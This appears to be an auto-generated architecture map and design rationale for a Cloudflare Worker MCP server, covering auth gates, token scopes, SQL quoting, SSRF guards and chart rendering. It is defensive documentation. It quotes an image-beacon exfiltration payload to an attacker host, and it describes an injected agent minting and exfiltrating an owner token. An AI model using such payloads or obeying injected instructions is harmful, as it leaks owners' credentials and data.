Dev auto-approve is OPT-IN, never the default. A missing MNEMION_SECRET alone used to mean "auto-approve every request as the owner" — fail-OPEN: a secretless PRODUCTION deploy served every owner-only API unauthenticated. It now applies ONLY when DEV is also explicitly set (the dev script + [env.test] set it), so an unconfigured instance fails CLOSED. "Unconfigured" means no access, not all access.

denyUnlessBearerScopefunction

The Bearer-token serve gate, in one place. Parses Authorization: Bearer <token> and validates it against the required scope via the hive. The ONLY thing a served/ingress route varies is the scope string (read:output:<path>, write:input:<path>, …); the header parse + the validateAccessToken call — the security invariant — live here so they can't drift per call site, and a new served route inherits the exact gate by passing only its scope.

Returns null when the request is authorized (proceed); otherwise the 401 Unauthorized Response the caller returns directly. Call sites still own their surrounding allow-list (visibility !== "public") and the dev-mode 404 refusal; this owns only the common Bearer parse + validate that was copied verbatim.

rateLimitfunction

Rate-limit guard for the public surfaces (operational cost protection, NOT a security boundary). Returns a 429 when the limiter rejects key, else null. Fails OPEN by design: a missing binding (an env without it, or a runtime lacking the simulator) or a limiter error lets the request through — the binding ships in wrangler.toml but must never take down a deploy/test env that doesn't provide it.

clientIpfunction

The requesting client's IP, for per-client rate-limit keys. Cloudflare sets cf-connecting-ip; falls back to "unknown" off-platform (local/test).

cachedfunction

Edge-cache wrapper for PUBLIC read handlers. On a GET, serve from Cloudflare's per-colo cache (caches.default) when present — skipping the Worker AND the single HiveDO entirely within the response's max-age, so viral/cache-busting public reads don't serialize through the owner's DO. Only responses the handler marks Cache-Control: public are stored (private/unlisted/304/errors never are), keyed by request URL — so a public resource caches and a private one falls through on every request. The put is awaited (a few ms, on the miss path only); a hit returns before any DO work. A runtime without the Cache API is a transparent pass-through.

revokeAllSessionsfunction

Revoke every existing session by bumping the stored epoch. Cookies embed the epoch they were minted under, and validateSession rejects any whose epoch no longer matches — so the owner can invalidate all sessions (e.g. after a suspected cookie theft) without rotating MNEMION_SECRET. KV is eventually consistent, so global propagation can take up to ~60s.

createRouterfunction
auth.tsshared/Routing/routes/auth.ts
imports router.ts, constants.ts, https://esm.sh/@simplewebauthn/browser@13
binds OAUTH_KV
revokeSessionsconst

POST /sessions/revoke — invalidate ALL browser sessions (Auth.SECRET gated). Bumps the session epoch so every issued cookie stops validating, without rotating MNEMION_SECRET. Use after a suspected session-cookie compromise.

dev.tsshared/Routing/routes/dev.ts
imports router.ts
seedVectorsconst

Seed vectors: embed all existing entries into Vectorize. Gated behind Auth.SECRET — requires master secret.

io.tsshared/Routing/routes/io.ts
imports router.ts, fflate, extract.ts, log.ts
ACTIVE_SERVED_MIMEconst

Active/renderable types we make inert. sandbox (with no allow-tokens) treats the response as a unique opaque origin: scripts don't run, forms are disabled, and same-origin access (cookies, /api/*) is severed; default-src 'none' also blocks every sub-resource so it can't beacon a secret out via <img src="//attacker/?leak">. So agent-authored HTML/SVG renders for the documented egress feature yet can't execute script or steal the owner's session.

inertHeadersfunction

The single inertness decision for served egress. Given the raw, possibly attacker-chosen Content-Type, return the Content-Type to emit plus the security headers that neutralize it. Active types are sandboxed (CSP) and, when forceAttachment is set (a file store like /f), also forced to download. Every result carries X-Content-Type-Options: nosniff.

servePageconst

Public page (a _pages entry with visibility=public): server-rendered HTML with charts as inline SVG + OG meta. renderPublicPage returns null for missing or non-public pages — a positive allow-list, like publications.

servePageOgPngconst

PNG OG card (rasterized from the SVG via resvg) — the robust unfurl image.

uploadconst
marketplace.tsshared/Routing/routes/marketplace.ts
imports router.ts, git.ts, constants.ts
pages.tsshared/Routing/routes/pages.ts
imports router.ts, tools.ts
Coreclaimed
Cross-cutting primitives shared by both the worker and the SPA: product identity, the declarative UI palettes (view / format / block / chart) an agent authors against, and dev-only seed data.
why

Core is the layer both runtimes depend on but neither owns, so it carries zero env-specific imports and stays pure data — that purity is what lets the same module validate a write in the worker and render it in the SPA without forking.

Its center of gravity is the agent-authorable UI: view-palette (how a pattern renders), format-palette (how a value renders), block-palette (how a page composes), and the chart pair (chart-spec + chart-svg). These are the canonical instances of the "self-enforcing declarations" doctrine — one declarative table that is simultaneously the spec an agent reads, the validator the kernel derives (validateViewSpec/validateBlocks/validateFormatsMap, fail-closed at the mutate chokepoint), and the totality oracle the SPA's Record<…Id, Component> enforces at compile time. The agent composes UI from these tables as data, never as code, which is what makes live agent-authored rework safe.

The chart layer is deliberately split so one spec drives two renderers: chart-spec is the single home for the mark set, the categorical color palette, and the long→wide series pivot, and both the in-hive Recharts renderer and the server SVG renderer (chart-svg, for published pages and OG cards) derive from it — so a dataset reads identically in-hive and on a public page. constants keeps product identity (PRODUCT_NAME, URI_SCHEME, uri()) in one place so the scheme is never hardcoded. dev-seed is gated and runs only in the DO constructor under DEV_SEED; it writes via raw SQL (trusted, bypassing the kernel hook), so its contents must stay valid against these same palettes by hand — it is inert in production.

works when
constants.ts exists at this node fast
view-palette.ts exists at this node fast
view-palette.ts imports ./format-palette fast
format-palette.ts exists at this node fast
block-palette.ts exists at this node fast
chart-spec.ts exists at this node fast
chart-svg.ts exists at this node fast
chart-svg.ts imports ./chart-spec fast
dev-seed.ts exists at this node fast
block-palette.tsshared/core/block-palette.ts

The block palette — the declarative vocabulary for composing a page (a _pages entry). A page is { blocks: Block[] }; each block is { type, ...config, width? }, validated against this palette (fail-closed) and rendered against a fixed component set in the SPA. The same safe boundary as the view/format palettes, one level up: arbitrary COMPOSITION (any blocks, any order, referencing any pattern/entry), never arbitrary CODE.

Pure data, zero env-specific imports — bundled into both the worker (validation) and the SPA (rendering).

imports chart-spec.ts
BlockTypeinterface
isBlockTypefunction
validateBlocksfunction

Validate a page's blocks JSON against the palette + the hive (pattern/facet references). Returns [] when valid. Empty/absent blocks = a valid (empty) page.

chart-spec.tsshared/core/chart-spec.ts

The chart vocabulary shared by BOTH renderers — the in-hive Recharts renderer (web/src/Chart.tsx) and the server SVG renderer (chart-svg.ts, public pages + OG cards). One home for: the mark set, the categorical color palette (so the same dataset reads identically in-hive and on a published page), and the long→wide pivot that turns multi-dimension aggregate rows into per-series columns. Pure data, zero env deps — bundled into both worker and SPA.

CONTINUOUS_MARKSconst

Mark categories — which machinery a mark needs. Derived from, never duplicated.

isChartMarkfunction
SERIES_COLORSconst

Categorical palette — the notebook accent first, then a tuned spread that holds up on the warm paper background (#f1efe8). Cycled by index for series/slices.

seriesColorfunction
isRoundfunction

Mark-category membership — the single home both renderers MUST agree on (was re-inlined as mark === "bar" || mark === "area" etc. in three files). Adding a mark to a set above now flows to every renderer through these.

isContinuousfunction
isStackablefunction
SERIES_NONEconst

The label NULL/empty series values bucket under, so a row with no series value is named rather than silently dropped from the chart.

groupKeyfunction

A group field may carry a :unit datetime bucket (e.g. "created_at:month"). The query engine GROUPs BY the full "facet:unit" but aliases the OUTPUT column to the bare facet — so the GROUP BY uses the full field while the sort field, the row read-key, and the pivot/dataKey must use the bare facet. Split once, here.

aggSpecfunction

The aggregate wire-spec ({fn, facet?, as:'value'}) in one place (server chartData + client ChartView both built this literal independently).

ResolvedChartinterface

A chart spec, resolved once at the boundary: aliases (x|group_by, y|metric) and defaults (mark, agg) collapsed, and the :unit bucket split into groupBy (the full field for GROUP BY) vs x/series (the bare column the engine aliases it to, which rows/sort/pivot/dataKey read). Both renderers derive from this so they can't resolve aliases or buckets differently.

ChartQueryKindtype

The query plan for a resolved chart — what to fetch and how to aggregate/sort. The SERVER (hive.chartData via this.query) and the CLIENT (ChartView via /api/query) both derive their query from this ONE function, so the in-hive chart and the published/OG chart can't aggregate, sort, bucket, or truncate differently.

ChartQueryinterface
chartQueryfunction
resolveChartfunction
compactNumfunction

Compact number formatting shared by axes, labels, and tooltips (no Intl on the server SVG path — keep one deterministic implementation).

pivotSeriesfunction

Long rows [{ [xKey]: x, [seriesKey]: s, [valueKey]: v }, ...] from a two-facet aggregate → wide rows [{ [xKey]: x, [s1]: v, [s2]: v, ... }] plus the ordered list of series keys (first-seen order). Missing cells are 0-filled so stacked marks and multi-line charts don't tear. x order is first-seen (the caller sorts the aggregate by x, so this preserves it).

chart-svg.tsshared/core/chart-svg.ts

The SERVER renderer for a chart spec: pure SVG string, no DOM, no deps. Same spec + palette as the in-hive Recharts renderer (web/src/Chart.tsx, both derive from chart-spec.ts) — this one produces static SVG for published pages and OG cards. Marks: bar | line | area | scatter | pie | donut, single- or multi-series (grouped/stacked), with a legend.

imports chart-spec.ts, escape.ts
Datuminterface
SeriesDatainterface

Multi-series payload: wide rows (one per x) with one numeric column per series key, already pivoted (chart-spec.pivotSeries) and sorted by x.

ChartSvgOptsinterface
renderChartSvgfunction

=== Unified entry: dispatch a payload to the right mark renderer ============ mark selects the shape; payload.multi selects single vs grouped/stacked.

chartOgSvgfunction

A standalone OG card: wrapped title + the chart, at social dimensions (1200×630). The chart is rendered at the card's exact pixel size (with larger labels) and placed with a plain translate — no nested-svg scaling, which not every SVG renderer handles the same way.

constants.tsshared/core/constants.ts

Product identity — single source of truth for the URI scheme and product name. Import from here instead of hardcoding "mnemion://" in string literals.

urifunction

Build a full URI from a path, e.g. uri("index") → "mnemion://index"

IDENTIFIER_REconst

=== Identifier rule ===

The canonical pattern/facet-name rule (CLAUDE.md "propose_change"): must start with a lowercase letter or underscore, then only a-z, 0-9, hyphens, underscores. Case-sensitive (identifiers are lowercase). This is the SINGLE home for the agent-facing identifier shape — pattern names, facet names, and any user-supplied identifier interpolated into DDL/SQL (which can't be bound, so it must be confirmed to match this rule before quoting). Note: SQL aggregate aliases use a deliberately different rule (case-insensitive, no hyphen — see data.ts ALIAS_RE); don't fold that one in here.

HEX_TOKEN_REconst

=== Hex token rule ===

Route-param guard for hex-encoded capability tokens (invite, upload, document upload). Variable-length: any run of hex digits. One home so the five route rows that gate a :token param share the same shape. The fixed-length variant (/^[a-fA-F0-9]{32}$/) is a DIFFERENT rule (exact length) and stays inline at its single call site.

HIVE_IDconst

=== Hive identity ===

Mnemion is single-hive-per-deploy: one shared store that one or more members authenticate into. The hive's location (which Durable Object) is stable and independent of who logs in — "which hive" and "who am I" are separate concerns. HIVE_ID names the store; the actor (a member label) names the person, carried separately in the session props.

The literal stays "user:owner" so existing single-owner deploys keep their data: this is a rename for clarity, not a re-key. New deploys land on the same DO name.

OWNER_ACTORconst

The sentinel member every hive has. The bootstrap passkey (registered with the master secret) and any member-less legacy token resolve to this actor. Always active; never suspended.

dev-seed.tsshared/core/dev-seed.ts

Dev seed: realistic data for local development

Called from initializeSchema when DEV_SEED is set and no user patterns exist. Uses raw SQL (runs inside blockConcurrencyWhile during DO construction).

imports constants.ts, schema.ts
seedDevDatafunction
env.d.tsshared/core/env.d.ts

Optional-binding augmentation for the generated worker Env.

R2 (the DOCUMENTS bucket) ships COMMENTED OUT in wrangler.toml by design — Mnemion runs fully without it (see "Document storage requires R2"). So wrangler types never emits DOCUMENTS on the generated global Env, yet the code reads env.DOCUMENTS on the optional path. Declare it here with the honest optional type so the worker type-checks whether or not R2 is enabled/bound.

escape.tsshared/core/escape.ts

One XML/HTML text escaper, shared by every string-built markup surface — the server SVG charts (chart-svg.ts), the server-rendered pages (hive.ts), and the publication renderers (shared/IO/publications.ts) — so the three can't drift (they previously had three near-identical copies, one of which escaped ' and two of which didn't). Escapes the superset, safe in both text and double-quoted attribute contexts. Pure, no deps.

escapeXmlfunction

One XML/HTML text escaper, shared by every string-built markup surface — the server SVG charts (chart-svg.ts), the server-rendered pages (hive.ts), and the publication renderers (shared/IO/publications.ts) — so the three can't drift (they previously had three near-identical copies, one of which escaped ' and two of which didn't). Escapes the superset, safe in both text and double-quoted attribute contexts. Pure, no deps.

format-palette.tsshared/core/format-palette.ts

The format palette — the single declarative home for how a facet's VALUE is rendered (its presentation), distinct from the view palette (which governs layout) and from config roles (which govern a facet's job in a layout).

A facet's effective format is resolved from three sources, most specific first: 1. the view's per-facet override (config.formats[facet] — desk choice) 2. the facet's intrinsic format (_fields.format — the data's nature) 3. a default derived from its type (datetime → date, etc.)

Like view-palette.ts: pure data, ZERO imports, bundled into BOTH the worker (schema enum + validation) and the SPA (a Record<FormatId,…> renderer registry whose compile-time totality binds the two).

FormatTypeinterface
FORMAT_PALETTEconst

Add a format here and the enum, the agent contract, and validation pick it up; the SPA won't compile until it has a matching renderer (Record<FormatId,…>).

isFormatfunction
defaultFormatForTypefunction

The default rendering for a facet that carries no explicit format — derived from its declared type, so a datetime is friendly and a boolean is a check without anyone having to say so. Truth (the type) drives presentation.

resolveFormatfunction

The resolve chain: view override ?? facet intrinsic ?? foreign-key reference ?? type default. A declared foreign key (hasLink) wins over the type default — an FK facet is a reference by nature — but an explicit format still overrides it. Unknown ids fall through (a stale format never crashes a render — it degrades to the next source), so the resolver always returns a real FormatId.

validateFormatsMapfunction

Validate a view's per-facet formats override map: an object of facet-name → format-id. hasFacet null = pattern unknown → skip the facet-existence check (format-id checks still run). Returns [] when valid.

describeFormatPalettefunction

Agent-facing prose, generated from the palette so the contract can't drift from what's enforced. Embedded in the _views + set_facet_format docs.

host.tsshared/core/host.ts

Instance identity is configuration, not request data.

resolveHost is the single decision behind every generated capability URL (upload_url / page_url / og_image / the _system/instance doc): which host does this instance call itself?

why

A meaningfully-configured WORKER_HOST is AUTHORITATIVE and the inbound Host header is IGNORED — so an attacker who sends a spoofed Host on an unauthenticated request (e.g. a /ws upgrade) cannot poison a capability URL handed to the owner. The observed/inbound host is only the fallback for LOCAL DEV, where WORKER_HOST is unset or still the deploy placeholder and the request host IS the right answer. Pulling the priority into a pure function makes the "ignore inbound when configured" property enumerable and testable away from the Durable Object, instead of a behavior asserted only by convention.

WORKER_HOST_PLACEHOLDERconst

The wrangler.toml [vars] default for WORKER_HOST. A deploy that never ran npm run setup (which pins the real host) leaves this placeholder — treated as "not meaningfully configured", so the dev fallback applies.

resolveHostfunction

Resolve the instance host. A real configured WORKER_HOST wins and the inbound lastKnownHost is ignored (the security boundary); otherwise fall back to the observed host, then the placeholder, then "localhost" (local dev only).

log.tsshared/core/log.ts

Structured logging over Cloudflare Workers Logs.

The [observability] block in wrangler.toml turns on Workers Logs, which ingests every console.* line for 7 days AND (invocation_logs) attaches the per-request envelope — method, url, status, outcome, ray id — automatically. So a log site only emits the EVENT plus its own context; request identity is never re-derived here.

This is the ONE home for log SHAPE: every sink emits a single JSON object with a stable event key (so the dashboard can group/filter by it) plus an error/stack when a throwable is attached. Use logError at a caught failure worth investigating; logWarn for a degraded-but-handled path (a swallowed side effect, a fallback taken, a capability unavailable) that would otherwise vanish silently. Keep event a short stable slug (mutate.write_failed, prime.embed_failed), not a sentence.

logErrorfunction

A caught failure worth investigating. err is the throwable (serialized to message/name/stack); fields add structured context (ids, the op, the path).

logWarnfunction

A degraded-but-handled path that must not vanish silently (a swallowed side-effect failure, a fallback taken, an optional capability unavailable).

sql.tsshared/core/sql.ts

=== SQL identifier chokepoint ===

why

The ONE transition map: raw string → SQL identifier. Values are always bound (?); identifiers (table/column/facet names) can't be bound, so they're interpolated as double-quoted identifiers ("name"). That interpolation is the one injection escape in the engine. This module fuses validation and quoting into a single call so the boundary can't be half-crossed: a caller can't quote without validating, and a raw unvalidated identifier physically can't reach SQL through it. Upstream semantic checks (facetMeta / isValidColumn / patternExists / KERNEL_COLUMN_SET) STAY — quoteIdent is defense-in-depth beneath them, the fail-closed last line. An injection-bearing identifier (quotes, spaces, semicolons, --) doesn't match the grammar and THROWS here, even if every upstream check were forgotten.

imports constants.ts
quoteIdentfunction

Validate name against the canonical identifier grammar (IDENTIFIER_RE) and return it as a SQLite double-quoted identifier ("name"). Throws on any name that doesn't match — the grammar admits pattern names, facet names, and the snake_case kernel columns (created_by/updated_at/…), and nothing else.

Use this for EVERY SQL identifier interpolation. Never interpolate a raw "${name}" into SQL.

text.d.tsshared/core/text.d.ts
view-palette.tsshared/core/view-palette.ts

The view palette — the single declarative home for the UI shapes an agent can author for a pattern. This is the SSOT the rest of the system derives from: - schema.ts derives the _views view_type enum + the agent-facing contract (describeViewPalette) from it - kernel.ts validates every _views write against it (validateViewSpec), fail-closed at the mutate chokepoint - the web SPA dispatches to a component keyed by these same ids, and a compile-time Record<ViewTypeId, …> totality check binds the two

Pure data — bundled into BOTH the worker (server) and the React SPA (client). The only import is its sibling format-palette (also pure data, no env deps): every view may carry a universal formats override map, validated against it.

imports format-palette.ts, chart-spec.ts
ConfigKeyinterface
ViewTypeinterface
VIEW_PALETTEconst

The palette. Add a view type here and the enum, the agent contract, and the validator all pick it up; the client won't compile until it has a matching component (Record<ViewTypeId, …>). One table, derive the rest.

isViewTypefunction
describeViewPalettefunction

Agent-facing prose, generated from the palette so the contract can never drift from what the validator enforces. Embedded in the _views schema description.

ValidateOptsinterface
validateViewSpecfunction

Validate a view spec against the palette and, when the target pattern's facets are known, against those facets. hasFacet null = pattern unknown (e.g. a partial update that doesn't carry the pattern) → facet-existence checks are skipped, structural checks still run. Returns [] when valid.

OAUTH_KVinfra
VECTORIZEinfra
AIinfra
- +
Mnemionentryclaimed
Cloudflare Worker entry: an OAuth-wrapped MCP server whose one declarative route table is the whole HTTP surface.

## zones - owner-trusted: Full kernel access — the ownerDataCtx capability (the only trusted:true reader/writer). - storage: The SQLite / R2 substrate beneath every chart. - served-untrusted: Public reads + ingress/upload writes — the servedDataCtx capability (trusted:false). - public-egress: Served HTTP responses (/o /p /f) and the /ws broadcast — leaves the DO in the clear. - agent-mcp: The MCP tool surface — agent input, consent-gated, never trusted with the kernel. - federated: Cross-hive resolve over the network — a sovereign foreign hive.

why

The worker entry keeps the entire HTTP surface as one scannable declarative route table (method, pattern, auth gate, handler per line) so the system's shape is graspable from the declarations alone, per the "code as schematic" principle. OAuthProvider wraps the worker to own the OAuth 2.1 / DCR / token flow and intercept /mcp, /token, /register before dispatch, so the rest of the code never re-implements auth plumbing.

works when
lives in served-untrusted fast
src/index.ts exists at root fast
wrangler.toml exists at root fast
README.md exists at root fast
src/index.ts imports @cloudflare/workers-oauth-provider fast
vite.fragment.tsvite.fragment.ts
imports vite
vite.preview.tsvite.preview.ts
imports vite
vite.web.tsvite.web.ts
imports vite, @vitejs/plugin-react
index.tssrc/index.ts
imports @cloudflare/workers-oauth-provider, session.ts, hive.ts, constants.ts, router.ts, index.ts, compose.ts, feature.ts, log.ts, auth.ts, io.ts, marketplace.ts, pages.ts, dev.ts
store.tsweb/src/store.ts
imports react
Entrytype
ensure()method
rebuild()method
load()method

Replace a pattern's entries (initial load or coarse refetch).

has()method
patchEntry()method

Optimistically merge a patch into one entry (e.g. a drag changes status). The server's WS echo arrives moments later and overwrites with the truth.

applyDelta()method

Apply a single granular change from the live socket.

storeconst
usePatternEntriesfunction

Ordered entries for a pattern — re-renders only when the set/order changes.

useEntryfunction

A single entry — re-renders only when THAT entry changes.

Hiveclaimed
The single per-user Durable Object that owns all SQLite data and funnels every agent write through one kernel-enforced chokepoint.
why

HiveDO is the single Durable Object that owns the SQLite store; every write funnels through its mutate/batchMutate/processInput/consumeUpload chokepoints so the kernel-write boundary is enforced in one place instead of re-derived per call site. policy.ts is the dependency-free leaf SSOT for "which patterns agents can write, through which path, what gate fires" — unclassified kernel patterns fail CLOSED (System → denied), so a new pattern can never silently become agent-writable, and kernel/prime/ingress gates all derive from it so the boundary can't drift between layers.

(The per-boundary paragraphs below record the non-derivable rationale — the bug or rejected alternative each boundary exists to kill. The mechanism — chokepoint, oracle, "iterates the live domain → fails the build" — is carried by the ## invariants list and the boundary "…" at <chokepoint> via test "<oracle>" claims above, and isn't restated here.)

facet/kernel-column collision. Kernel COLUMNS get the same single-source treatment as kernel patterns: kernel-columns.ts is the SSOT for the seven auto-provided columns, and every named slice (the data engine's create-exclude/facet-skip sets, schema display, history-diff ignore set) is DERIVED from it. A user-proposed facet may not collide with a kernel column, so validateFacets reserves FACET_RESERVED_COLUMNS — the kernel columns MINUS the user-overridable ones. The one overridable column is version (a pattern may declare its own semver semantics; create_pattern's apply skips the kernel default). The historical bug was a hand-narrowed reserved subset that wrongly omitted created_by/updated_by (a same-named facet is a duplicate-column DDL error — they MUST be reserved); over-correcting to reserve version then broke the user-version feature. Splitting "overridable" into its own declaration fixes both directions at once: reserved ∪ overridable = KERNEL_COLUMNS, so neither under- nor over-reserving can recur.

data-is-destiny no-hybrid. Makes the "store truth once, derive its consequences" doctrine emergent from the schema rather than prose an agent can interpret away. The doctrine is semantic in general, but it has a DECIDABLE core: a pattern must not STORE an aggregate of rows it also RETAINS. findStoredDerivedAggregates checks exactly that, firing only when BOTH halves are present (an aggregate-named facet AND a child pattern referencing this one). It stays silent on the legitimate fork a convergence experiment surfaced — a bare counter with no retained instances IS the stored truth, not a denormalization, because there's no retained source to derive from. Boot warns rather than throws: a deliberate materialized aggregate is a valid reviewed override.

credential-mint gating. The consent dual of egress totality. A pattern with a secret column mints a born-hashed BEARER on every create, so that create MUST be consent-gated. patch_only is provably wrong for such a pattern — it declares create benign while create is the dangerous op — and that was a real shipped bug: _access_tokens was patch_only, so an injected agent could mint a broad token (a full owner login credential, redeemable at /auth/verify) in one un-round-tripped mutate and exfiltrate it. Fixed by on_broad_token: minting a broad/portable scope (, or a whole-class read/write key — isBroadTokenScope) round-trips like every other standing grant, while narrow target-bound (upload/document) and inert (register, gated by /invite passkey approval) scopes stay benign so the frequent legit flows aren't taxed. The rule DERIVES from SENSITIVE_COLUMNS × KERNEL_WRITE_POLICY (no new declaration), so re-classifying a credential-minter as patch_only/Open is unexpressible.

born-hashed secrets. The storage dual: credential-mint gating governs WHEN a bearer is minted; this governs HOW it's stored. mintSecrets is generic over SENSITIVE_COLUMNS and runs on every engine write path, so a secret-classed column is born-hashed by construction — the preimage is system-generated, returned ONCE in the create response, and only its SHA-256 digest lands in the column, the audit log, and the /ws delta. A read (owner or otherwise) yields a digest, never a usable bearer. The structural enforcement (generic mintSecrets keyed on the registry) makes this automatic for any declared secret column.

immutable-field enforcement. The registry dual of the create-time hooks: where ON_CREATE decides what a kernel row may be BORN as, IMMUTABLE / IMMUTABLE_AFTER_CREATE decide what it may never BECOME — the defense-in-depth behind the consent model. approved_at/consumed_at are IMMUTABLE so an agent can't self-approve its own invite or replay a single-use token; a token's scope/member/constraints/token and an ingress endpoint's target_pattern are IMMUTABLE_AFTER_CREATE so a row that passed create-time validation can't be silently repointed to a stronger capability; _members.label is frozen-after-create (NOT IMMUTABLE, which would reject it at birth) because it's the stable handle passkeys/tokens/attribution reference. Enforcement has two faces because the patch path edits one facet by name and sidesteps the top-level key scan: applyKernelRules covers create/update/unarchive, immutableFieldError covers patch. (scopeMatches, the :-boundary prefix grammar these freezes protect, is pinned by its own matrix test — a fixed-grammar correctness property, not a live-domain totality, so it's verified but not a boundary.)

instance-identity host. Closes the last unmanaged crossing the trust atlas surfaced (public-egress → owner-trusted): the host every generated capability URL is built from. A configured WORKER_HOST is AUTHORITATIVE and the inbound Host is IGNORED, so an attacker who plants a spoofed Host on an unauthenticated request (e.g. a /ws upgrade) can't poison an upload_url/page_url/og_image handed to the owner. This was enforced by currentHost but proven only by convention (the detector and atlas both flagged it tier-3). The decision is now the pure resolveHost (configured-wins-else-observed-else-localhost, placeholder treated as unconfigured), which currentHost delegates to — so the test IS the boundary. With this the manifold has zero tier-3 security crossings.

sql-identifier quoting. The structural enshrinement of an injection boundary that was a convention. The SQL-identifier crossing (a raw string becoming a table/column token) was guarded by "validate, then interpolate "${x}"" at scattered sites — two SEPARATE steps a new site can forget. quoteIdent fuses them: it validates against IDENTIFIER_RE and returns the double-quoted identifier, throwing on any injection-bearing name — so an identifier that skipped the upstream semantic check still can't carry injection. The query engine (~20 sites in data.ts) routes every identifier through it; the semantic checks (facetMeta/isValidColumn/patternExists) stay as the primary gate with quoteIdent as fail-closed defense beneath. This moved the boundary from tier-3 to tier-1. (DDL interpolation in schema.ts/evolution.ts is the tracked follow-up; the coarse injection-lint ratchet still covers those + the HTML egress sinks until they're enshrined too.)

token-scope-grammar. The classifier dual of credential-mint gating: that boundary decides a credential-minting create must be consent-gated; this decides WHICH scopes are "broad" enough to require the round-trip — so the partition isBroadTokenScope draws over the scope grammar IS the boundary. It drifted: a bare parts.length >= 3 cutoff classified read:entry:<pattern> (3 parts) as narrow, but scopeMatches prefix-grants it every read:entry:<pattern>:<id> — a pattern-WIDE standing read key minted with NO round-trip, an exfil credential. The fix classifies by RESOURCE GRAMMAR, not length: a scope is narrow only when it reaches its kind's LEAF depth (entry at depth 4 — pattern:id; output/publication/document/input at depth 3), so read:entry:<pattern> falls short and is broad. The oracle reconciles the partition against both scopeMatches and the kinds io.ts actually mints, so a new served resource kind can't leave it incomplete.

kernel write boundary — two transports. The kernel write boundary reaches the engine over TWO transports: the interactive MCP mutate tool and the browser-authenticated /api/mutate. The rejected design had gating decisions inlined in the MCP handler; the drift vector was real — an /api+RPC test passing while the MCP Zod/consent layer silently broke, so the boundary's enforcement disagreed across the two paths a write can take. Pure decisions in one tested leaf (shared by both transports) is the fix. (Interactive consent round-trip mechanics stay in the session handler because only MCP can satisfy them; /api is owner-implicit — a logged-in human IS the consent.)

kernel read+write capability. Reads share the SAME boundary on the SAME flag: DataContext.trusted is required and gates kernel access symmetrically — an untrusted context may neither write nor read a kernel pattern. Trust is a CAPABILITY, not a per-call-site convention: HiveDO exposes two named constructors over a trust-agnostic ctxFieldsownerDataCtx (the ONLY trusted: true) and servedDataCtx (trusted: false) — with no trust parameter to dial at a call site, so served reads (public page, OG card, publication, /o/entry) AND untrusted writes (ingress, upload) physically cannot reach kernel data. All served public reads live in one module (served.ts), handed a narrow ServedContext exposing only servedQuery for user-pattern data plus single-answer kernel-CONFIG lookups (a _shared visibility, an endpoint config row, supersession ids, facet metadata) — never db, never a trusted context, no way to construct one. This made the old per-block / per-entry isKernelPattern guards provably redundant (a kernel-named read returns empty through servedQuery, which also binds the id against injection); they were deleted, leaving one chokepoint instead of a guard to forget per sink — replacing a block-list that failed open.

egress-sensitivity totality. The bug it kills was a FALSE oracle. Write policy and sensitive columns were composed from two parallel hand-lists, and the second silently omitted a feature (pages); the egress side had no totality check at all, so a forked feature that declared a redact/secret column but forgot the second barrel line got no seal/audit/export redaction with no boot warning. Two parallel hand-lists was the rejected design. findUnclassifiedSensitiveColumns is honestly demoted to a complementary NAME heuristic — it can't see a sensitive column with an innocuous name, so it isn't full totality.

pattern-effects totality. Post-mutate side effects (re-embed, cache invalidate, broadcast, …) were a hand-coded if-pile in mutate(): a feature adding a pattern that needed an effect had to remember to extend the if-tree, and a forgotten extension silently no-op'd at runtime. "Remember to add another branch" was the rejected design. Composing the effect set CORE + per-feature from the live FEATURES array, with the oracle asserting every effect-bearing pattern is represented, turns a missing entry into a build failure instead of a silent missing side effect — same shape as the write-policy and egress-sensitivity totalities (the three together are the feature-composition trio).

(Federation is not yet a declared invariant on its own — the SSRF block-host coverage above is what's formalized as a boundary; the rest is design rationale living co-located in federation.ts until a totality oracle is written for it. The shape: token-send and allow-list consent share a single function (federatedResolve) so the approved host and the contacted host can never drift apart, re-validated on every redirect hop; splitting gate from fetch across modules or call sites would let a future edit move one without the other. The narrow FederationContext capability the DO hands the module ensures federation can read nothing else. This is the security analysis's "condition #2" — a candidate invariant if a co-location oracle is added.)

SSRF block-host coverage. The totality dual of that SSRF guard. isBlockedFederationHost must refuse every class of non-public target — loopback/private/CGNAT/link-local IPv4 in every inet_aton encoding (dotted-decimal, octal, hex, integer), the IPv6 loopback/ULA/link-local/mapped/NAT64/6to4 forms, and the .localhost/.local/.internal/.lan suffixes — and a dropped category is a silent SSRF reopening (the canonical target is the cloud-metadata IP 169.254.169.254). Its correctness was a convention ("remember every encoding") with no completeness check; the oracle's category→example table makes a new bypass class fail the build by name.

works when
lives in storage fast
hive.ts exists at this node fast
hive.ts imports cloudflare:workers fast
hive.ts imports ./data fast
policy.ts exists at this node fast
kernel-columns.ts exists at this node fast
data.ts imports ./kernel-columns fast
evolution.ts imports ./kernel-columns fast
schema.ts imports ./kernel-columns fast
hive.ts imports ./kernel-columns fast
data.ts exists at this node fast
mutate-gate.ts exists at this node fast
mutate-gate.ts imports ./policy fast
prime.ts imports ./policy fast
boundary "kernel write boundary" at writeClass crossing agent-mcp -> storage via test "write-policy totality" fast
boundary "kernel read+write capability" at query crossing served-untrusted -> storage via guard "context-capability totality" fast
boundary "egress-sensitivity totality" at SENSITIVE_COLUMNS crossing storage -> public-egress via test "egress-sensitivity totality" fast
boundary "pattern-effects totality" at PATTERN_EFFECTS via test "pattern-effects totality" fast
boundary "facet/kernel-column collision" at FACET_RESERVED_COLUMNS via test "facet-kernel-collision totality" fast
boundary "data-is-destiny no-hybrid" at findStoredDerivedAggregates via test "data-is-destiny no-hybrid totality" fast
boundary "credential-mint gating" at findUngatedCredentialMints crossing agent-mcp -> owner-trusted via test "credential-mint gating totality" fast
boundary "born-hashed secrets" at SENSITIVE_COLUMNS crossing storage -> public-egress via test "born-hashed-secret totality" fast
boundary "immutable-field enforcement" at applyKernelRules crossing agent-mcp -> storage via test "IMMUTABLE-registry totality" fast
boundary "token-scope-grammar" at isBroadTokenScope crossing agent-mcp -> owner-trusted via guard "broad-token scope-grammar totality" fast
boundary "SSRF block-host coverage" at isBlockedFederationHost crossing owner-trusted -> federated via guard "SSRF block-host totality" fast
boundary "sql-identifier quoting" at quoteIdent crossing agent-mcp -> storage via guard "quoteIdent — grammar" fast
boundary "instance-identity host" at resolveHost crossing public-egress -> owner-trusted via guard "instance-identity host resolution" fast
effects.ts exists at this node fast
effects.ts imports ../features fast
effects.ts imports ../features/compose fast
documents.ts exists at this node fast
hive.ts imports ./documents fast
served.ts exists at this node fast
hive.ts imports ./served fast
federation.ts exists at this node fast
hive.ts imports ./federation fast
reports.ts exists at this node fast
hive.ts imports ./reports fast
depends on VECTORIZE, AI
completion.tsentities/Hive/completion.ts

